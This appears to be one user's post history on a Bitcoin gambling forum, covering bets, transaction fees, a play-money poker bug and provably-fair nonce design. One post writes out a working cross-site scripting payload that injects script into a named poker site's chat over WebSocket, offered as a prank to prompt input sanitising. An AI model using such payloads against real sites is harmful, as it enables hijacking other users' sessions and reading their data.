OK then still waiting for someone to lend me BTC.
I can send it but I will pay only a tiny amount of transaction fees. Are you ok with that or should I not bother at all when I don't plan on including the default 0.0005 transaction fee? |
|
|
|
I'm laughing so hard at OP trying to keep his bets alive.
Why? They actually seem like interesting bets. I agree. Also about a protagonist dying in a tv series -> Why not, it would fit into both series (getting arrested/killed where killed would be the better decision IMO) |
|
|
|
|
It's highly unfeasible to loan this amount thanks to transaction fee's. Omitting those is an option but a transaction of 0.001 BTC without transaction fees will take days to confirm.
|
|
|
|
If I bet, I want the video to be on Youtube at least 6 hours after my bet. Are you ok with it?
Yes, the time before your video is on Youtube will be at least 6 hours. Probably more like 600 hours. Or never. Thanks for your support. If you have any other questions or concerns email me at blobsrs@gmail.com |
|
|
|
mem i am a private investigator and for a small fee I will dig through every websites owner's past to make sure he has never even accidentally made a racist comment and if (s)he has I will report to you immediately. 1 bitcoin per request. PM me if you want to make sure you don't accidentally list any hate-mongers on your list.
Lol, this must be the most useless thing I've ever read on this board. Sincerely, I don't care if the owner of the best gambling site EVAARRRRR once "accidentally made a racist comment" (not even on purpose). |
|
|
|
Send me your user name on the site
vlees Also, can I login as this user again on another computer or is that account lost as soon as I delete my cookies? EDIT: NVM, found the secret link. EDIT2: When you create a new account the playmoney is set to 2000. According to the FAQ you can always update the playmoney and trying to set it to 1000000 gives an error: must be 2000 or lower. So I try 2000, and it resets my money to 800... EDIT3: when you check my account you see I have an insane amount of play chips. I was unable to add them to the table at once and had to do so in steps of 9000000. EDIT4: With your regex you filter out spaces in the chat, which is kinda annoying. |
|
|
|
|
You started spamming about recording videos everywhere today. Then please tell me, where is the video from the people that already played your game?
|
|
|
|
The second just-dice implements video recording to provide provably fairness is the day that I will bet.
I like your signature. |
|
|
|
Deleted all of my other posts, recieved my withdraw. Admin was very helpful.
What happened to be the problem? |
|
|
|
Sanitize userinput. I could do evil stuff (like read out other peoples cards), instead I did this: ws = new WebSocket('wss://boot52.nl/holdem/' + getSock());
ws.onmessage = function(e){
ws.send(JSON.stringify({chat: ["<script>ws=new WebSocket('wss://boot52.nl/holdem/1');ws.onmessage=function(e){ws.send('{\"chat\":[\"LEL\"]}');};</script>"]}));
ws.close();
}; |
|
|
|
Feel free to add insanity dice to the list.
InsanityDice is not a site and this ranks the top 10 sites. |
|
|
|
I didn't read through the thread but has anyone else suggested a high stakes version?
I would also like to see a version with bets >= 1BTC (or even 0.1) Anyone, feel free to challenge the current champion  Wanted to try this this morning but nobody played since. EDIT: Now people played. It's a fun game. IMO better than the one in CoinChat because the amounts are bigger here. |
|
|
|
Or a farming game! Buy seeds, grow plants, harvest and earn coins Yeah, I noticed in the Wikipedia article on digital currency that the author differentiates between virtual currencies and digital currencies. The Bitcoin developers may even have to transform Bitcoin into a "mining game" of some sort to keep the bankers and politicians away from it. http://en.wikipedia.org/wiki/Digital_currencyWhat? BitCoin is a digital currency? I thought I was gambling with a 2^256 sided dice?! |
|
|
|
I can't bet anymore, I keep getting internal server errors.
The only time I had that was when I forgot to enter a client seed/nonce. |
|
|
|
|
and also then limit it to 32*8 bit for the user to enter (instead of unlimited). So the user can enter ANYTHING and is not limited by the site operator.
|
|
|
|
where a nonce should actually increment the data, not be appended to it.
Tell the Bitcoin developers about that. They just append the nonce in the header. |
|
|
|
Still not amazingly solid (Like you claim in your OP), just means you might have to go through 10,000 server seeds opposed to 100 to find one with a high level of inconsistency.
Just do what JD does.
I've upped it to 32 bits, 4294967296 possibilities for the nonce, which should be enough for now. I'm not sure how well javascript would handle anything larger than 32-bit integers, so I'll have to test and see about increasing it. I don't want to change to a high/low method as that would mean an API structure change. Besides JD could just as easily notice that you bet low most of the time and create a secret which is more likely to give high outputs, or that you bet high so they could make a low secret. Secrets are chosen at random by the server, because they're computationally easier to generate that way than to pick a number, see if what sort of result it provides against a 16 or 32 bit nonce and then publish. Any method of pre-generating secrets is now computationally impractical, without using an ASIC for it. Even then, on a 5GHash machine, we'd only be able to generate 1 full secret profile after it has been nonced per second. Or you allow people to allow ANY string at all, then take the hash of your secret concatenated with whatever the user typed in. Then the user can type in his nice 100 character unicode string which you cannot possibly predict and everyone is happy. |
|
|
|
There's only 65536 different nonces a user can apply. You give the users secrets which when all those different nonces are applied, has a higher average, or more losses depending on the game they're playing. This will inherently change the odds advertised.
The secret is given out before the player chooses a number to play on, so is your concern that we could only chose secrets which were more likely end up with a high number when being nonced with every number in the range 1-65536? This is certainly possible, but computationally impractical. In our tests performing dsha256(secret + nonce), where nonce is in the range 1-65536 gave quite an evenly random distribution. If necessary we can increase the size of the nonce field, maybe 32-bits would provide a more even distribution. Edit: Valid point. I'll increase the size of the nonce. Edit again: Nonce fields are now 32 bits, this is working in the api, but the html and javascript are cached and will clear in the browser after an hour. Still not amazingly solid (Like you claim in your OP), just means you might have to go through 10,000 server seeds opposed to 100 to find one with a high level of inconsistency. Just do what JD does. But instead of having to hash 0xffff strings to find out which one has a high chance of winning for the house he would have to do 0xffffffff now. Which is practically impossible to do at this speed. |
|
|
|
Edit again: Nonce fields are now 32 bits, this is working in the api, but the html and javascript are cached and will clear in the browser after an hour.
A shift+F5 fixed it for me. |
|
|
|
|
Show Posts
